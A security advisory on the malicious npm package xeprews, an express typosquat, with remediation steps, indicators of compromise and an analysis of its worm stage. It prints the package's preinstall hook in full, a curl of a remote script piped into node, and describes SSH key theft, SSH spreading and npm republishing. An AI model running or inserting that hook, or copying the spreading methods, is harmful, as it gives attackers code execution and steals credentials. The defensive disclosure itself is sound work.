Which versions of xeprews are malicious?

The following npm versions of xeprews are flagged malicious: 5.2.1, 5.2.2. Treat any of these as compromised.

How do I remediate xeprews if I installed it?

xeprews is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed xeprews — how do I know if it already compromised me?

If xeprews was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is xeprews part of a known attack campaign?

Yes — xeprews is associated with the IN-MAL-2026-020630, IN-MAL-2026-020948 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find xeprews across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for xeprews (2 malicious versions).

Malicious package

xeprewsnpm

Advisory published Sep 29, 2026Updated Oct 5, 2026

xeprews is a confirmed malicious npm package (MAL-2026-17248) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in xeprews (npm)

MAL-2026-17248

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall xeprews

What this malware does

The package xeprews impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at npm install time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.

Malicious versions

2 flagged

5.2.15.2.2

Indicators of compromise (SHA-256)

17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2

c8745a706472aa4a6640d7fa4db8a0cb042dd7995258560f22093f93840dcc92

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for xeprews (2 malicious versions).
If you installed it — respond
xeprews is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If xeprews was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. xeprews on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020630IN-MAL-2026-020948

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder
Pranesh, InvisiRisk · finder
SafeDep · finder

Detect & block this

O3 blocks xeprews-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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